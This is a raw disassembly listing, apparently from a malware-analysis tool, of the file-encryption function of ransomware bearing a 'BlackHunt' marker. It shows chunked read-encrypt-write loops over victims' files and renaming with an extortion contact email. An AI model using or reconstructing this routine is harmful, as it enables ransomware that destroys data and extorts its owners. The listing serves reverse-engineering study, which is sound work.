Function at 0x407510
Capabilities:
Get file size
Move file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x479b08], 0
mov eax, dword [0x479b00]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x150], eax
mov eax, dword [0x478108]
mov dword [ebp - 0x130], edi
mov dword [ebp - 0x138], eax
je 0x40755a
push str.Encrypt
call fcn.00401d20
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x100040
push 8
push dword [0x47a330]
call esi
mov ebx, eax
mov dword [ebp - 0x134], ebx
test ebx, ebx
je 0x407560
nop dword [eax + eax]
push 0x3c4
push 8
push dword [0x47a330]
call esi
mov dword [ebp - 0x158], eax
test eax, eax
je 0x407580
movq xmm0, qword [str._BlackHunt_]
mov ecx, dword [0x451d68]
movq qword [ebp - 0x12c], xmm0
mov dword [ebp - 0x124], ecx
mov ecx, dword [edi]
call fcn.00407420
test eax, eax
je 0x407f99
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [edi + 4], eax
cmp eax, 0xffffffff
je 0x407f83
lea esi, [edi + 0x88]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x407603
mov eax, dword [esi]
or eax, dword [esi + 4]
jne 0x40760c
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x150]
lea eax, [ebp - 0x12c]
mov ecx, dword [ebp - 0x138]
push eax
push edi
call fcn.00406850
add esp, 8
test eax, eax
jne 0x407668
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [edi]
push str.Cant_gen_key_for_file__s._GetLastError___lu
call fcn.00401d20
add esp, 0xc
lea eax, [ebp - 0x130]
mov ecx, 4
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x407650
mov edi, dword [ebp - 0x130]
xor esi, esi
jmp 0x407948
mov edx, 0x100
lea ecx, [ebp - 0x120]
call fcn.00407070
cmp dword [0x479b08], 0
mov dword [ebp - 0x20], eax
mov eax, dword [0x479b04]
mov dword [ebp - 0x1c], eax
je 0x407699
push 0x45274c
call fcn.00401d20
add esp, 4
push 2
push 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x154], xmm0
push dword [ebp - 0x150]
push dword [ebp - 0x154]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x10]
push eax
push 0x114
lea eax, [ebp - 0x12c]
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4076f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [edi]
push str.Cant_write_to_file__s._GetLastError___lu
call fcn.00401d20
add esp, 0xc
xor esi, esi
jmp 0x407948
cmp dword [0x479b08], 0
je 0x40770f
push 0x4527b0
call fcn.00401d20
add esp, 4
push 0
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 0x154], xmm0
mov esi, dword [ebp - 0x150]
mov ebx, dword [ebp - 0x154]
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp dword [0x479b08], 0
je 0x40774b
push 0x4527b8
call fcn.00401d20
add esp, 4
cmp dword [0x479b04], 0x1e
je 0x407cef
mov ecx, dword [edi]
call fcn.004069e0
test eax, eax
mov eax, dword [0x479b04]
je 0x407775
cmp eax, 0xa
je 0x407775
test eax, eax
jne 0x407cef
mov edx, dword [edi + 0x8c]
mov ecx, dword [edi + 0x88]
test edx, edx
jl 0x407c77
jg 0x407797
cmp ecx, 0x1500000
jbe 0x4079e4
cmp eax, 0xa
je 0x4079e4
cmp eax, 0x1e
je 0x4079e4
push 0
push 0xa00000
push edx
push ecx
call fcn.00439c90
cmp dword [0x479b08], 0
mov ecx, edx
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x140], ecx
je 0x4077e7
push 0x452818
call fcn.00401d20
mov eax, dword [ebp - 0x138]
add esp, 4
mov ecx, dword [ebp - 0x140]
xorps xmm0, xmm0
movlpd qword [ebp - 0x154], xmm0
test ecx, ecx
jl 0x407913
jg 0x407804
test eax, eax
je 0x407913
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x144], eax
nop dword [eax]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x100000
push dword [ebp - 0x134]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x407b60
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x134]
lea ecx, [edi + 8]
push eax
mov edx, eax
call fcn.004017f0
add esp, 8
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x10]
push eax
push 0x100000
push dword [ebp - 0x134]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40792a
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x140]
sub eax, 2
sbb ecx, 0
cmp dword [ebp - 0x144], eax
jne 0x4078c3
cmp dword [ebp - 0x148], ecx
jne 0x4078c3
mov ebx, dword [edi + 0x88]
mov esi, dword [edi + 0x8c]
sub ebx, 0x100000
sbb esi, 0
jmp 0x4078cc
add ebx, 0xa00000
adc esi, 0
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x148]
add eax, 1
mov dword [ebp - 0x144], eax
adc ecx, 0
mov dword [ebp - 0x148], ecx
cmp ecx, dword [ebp - 0x140]
jl 0x407820
jg 0x407913
cmp eax, dword [ebp - 0x138]
jb 0x407820
cmp dword [0x479b08], 0
je 0x407e66
push 0x452820
jmp 0x407e48
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [edi]
push str.Cant_write_to_file__s._GetLastError___lu
call fcn.00401d20
add esp, 0xc
xor esi, esi
mov ebx, dword [ebp - 0x134]
mov ecx, 0x40
lea eax, [edi + 8]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x407950
mov ecx, 0x20
lea eax, [edi + 0x48]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x407963
mov eax, 0x20
add edi, 0x68
mov byte [edi], 0
lea edi, [edi + 1]
sub eax, 1
jne 0x407976
cmp dword [0x479b08], eax
je 0x407996
push str.cr14
call fcn.00401d20
add esp, 4
push ebx
push 0
push dword [0x47a330]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x479b08], 0
je 0x4079d1
push str.cr15
call fcn.00401d20
add esp, 4
cmp dword [0x479b08], 0
je 0x4079d1
push str.return_Encrypt
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 8]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
test edx, edx
jl 0x407c77
jg 0x4079fa
cmp ecx, 0x500000
jbe 0x407b0e
cmp eax, 0x1e
je 0x407b0e
push 0
push 2
push edx
push ecx
call fcn.00439c90
xorps xmm0, xmm0
mov dword [ebp - 0x150], eax
movlpd qword [ebp - 0x13c], xmm0
mov ecx, dword [ebp - 0x138]
mov dword [ebp - 0x140], ecx
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x138], ecx
nop dword [eax]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x100000
push dword [ebp - 0x134]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x407b60
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x134]
lea ecx, [edi + 8]
push eax
mov edx, eax
call fcn.004017f0
add esp, 8
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x134]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40792a
mov ecx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x148]
sub ecx, 0x80000
push 0
sbb eax, 0
add ebx, ecx
push 0
adc esi, eax
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [ebp - 0x138]
add eax, 1
mov dword [ebp - 0x138], eax
adc dword [ebp - 0x140], 0
js 0x407a40
jg 0x407af7
cmp eax, 3
jb 0x407a40
cmp dword [0x479b08], 0
je 0x407e66
push 0x452828
jmp 0x407e48
test edx, edx
jl 0x407c77
jg 0x407b24
cmp ecx, 0x100000
jbe 0x407c61
cmp eax, 0x1e
je 0x407c61
push 0
lea eax, [ebp - 0xc]
sub ecx, 0x80000
push eax
push 0x80000
push dword [ebp - 0x134]
sbb edx, 0
mov dword [ebp - 0x150], ecx
push dword [edi + 4]
mov dword [ebp - 0x138], edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x407b73
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [edi]
push str.Cant_read_file__s._GetLastError___lu
jmp 0x407938
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x134]
lea ecx, [edi + 8]
push eax
mov edx, eax
call fcn.004017f0
add esp, 8
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov ebx, dword [ebp - 0x134]
lea eax, [ebp - 0x10]
push 0
push eax
push dword [ebp - 0xc]
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4076dc
mov esi, dword [ebp - 0x150]
push 0
push 0
push dword [ebp - 0x138]
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0xc]
push eax
push 0x80000
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x407c0a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push dword [edi]
push str.Cant_read_file__s._GetLastError___lu
call fcn.00401d20
add esp, 0xc
xor esi, esi
jmp 0x407948
push dword [ebp - 0xc]
mov edx, ebx
lea ecx, [edi + 8]
push ebx
call fcn.004017f0
add esp, 8
push 0
push 0
push dword [ebp - 0x138]
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4076dc
cmp dword [0x479b08], 0
je 0x407e66
push 0x452830
jmp 0x407e48
test edx, edx
jg 0x407e50
jl 0x407c77
cmp ecx, 0x100000
ja 0x407e50
cmp eax, 0x1e
je 0x407e50
push 0
lea eax, [ebp - 0xc]
push eax
push dword [edi + 0x88]
push dword [ebp - 0x134]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x407b60
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x134]
lea ecx, [edi + 8]
push eax
mov edx, eax
call fcn.004017f0
add esp, 8
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov ebx, dword [ebp - 0x134]
lea eax, [ebp - 0x10]
push 0
push eax
push dword [ebp - 0xc]
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x407e50
jmp 0x4076dc
push 0
push 0x100000
push dword [edi + 0x8c]
push dword [edi + 0x88]
call fcn.00439c90
mov dword [ebp - 0x144], eax
xorps xmm0, xmm0
mov eax, edx
movlpd qword [ebp - 0x13c], xmm0
mov dword [ebp - 0x150], eax
test eax, eax
jl 0x407e3a
mov edx, dword [ebp - 0x144]
jg 0x407d38
test edx, edx
jb 0x407e3a
mov ecx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x140], eax
cmp eax, edx
jne 0x407d76
cmp ecx, dword [ebp - 0x150]
jne 0x407d76
push 0
push 0x100000
push dword [edi + 0x8c]
push dword [edi + 0x88]
call fcn.00439d40
jmp 0x407d7b
mov eax, 0x100000
push 0
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x138], eax
push ecx
push eax
push dword [ebp - 0x134]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x407b60
push dword [ebp - 0xc]
mov eax, dword [ebp - 0x134]
lea ecx, [edi + 8]
push eax
mov edx, eax
call fcn.004017f0
add esp, 8
push 0
push 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x138]
push dword [ebp - 0x134]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40792a
add ebx, dword [ebp - 0x138]
push 0
push 0
adc esi, 0
push esi
push ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x148]
add eax, 1
mov edx, dword [ebp - 0x144]
adc ecx, 0
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x148], ecx
cmp ecx, dword [ebp - 0x150]
jl 0x407d50
jg 0x407e3a
cmp eax, edx
jbe 0x407d52
cmp dword [0x479b08], 0
je 0x407e66
push 0x452810
call fcn.00401d20
add esp, 4
cmp dword [0x479b08], 0
je 0x407e66
push 0x452838
call fcn.00401d20
add esp, 4
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x478100], 0
jne 0x407f25
cmp dword [0x479b0c], 0
jne 0x407f25
push dword [edi]
mov ebx, dword [ebp - 0x158]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x451ca4
push ebx
call esi
push 0x46f438
push ebx
call esi
push 0x451cac
push ebx
call esi
push str.NCz45DXO7_gmail.com
push ebx
call esi
push str._.p61us
push ebx
call esi
cmp dword [0x479b08], 0
je 0x407edc
push str.cr10
call fcn.00401d20
add esp, 4
push ebx
push dword [edi]
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x407f00
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push dword [edi]
push str.Cant_rename_file__s__to___s_GetLastError___lu
call fcn.00401d20
add esp, 0x10
push ebx
push 0
push dword [0x47a330]
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [0x479b08], 0
je 0x407f3b
push str.cr11
call fcn.00401d20
add esp, 4
cmp dword [0x479b08], 0
je 0x407f3b
push str.cr12
call fcn.00401d20
add esp, 4
push 0
push 0x100000
push dword [edi + 0x8c]
push dword [edi + 0x88]
call fcn.00439c90
add dword [0x4788f0], eax
mov esi, 1
adc dword [0x4788f4], edx
cmp dword [0x479b08], 0
je 0x407942
push str.cr13
call fcn.00401d20
add esp, 4
jmp 0x407942
push dword [edi]
push str.Can_t_Open_File_:__s
call fcn.00401d20
add esp, 8
xor esi, esi
jmp 0x407948
push dword [edi]
push str.Can_t_Access_to_File_:__s
call fcn.00401d20
add esp, 8
xor esi, esi
jmp 0x407948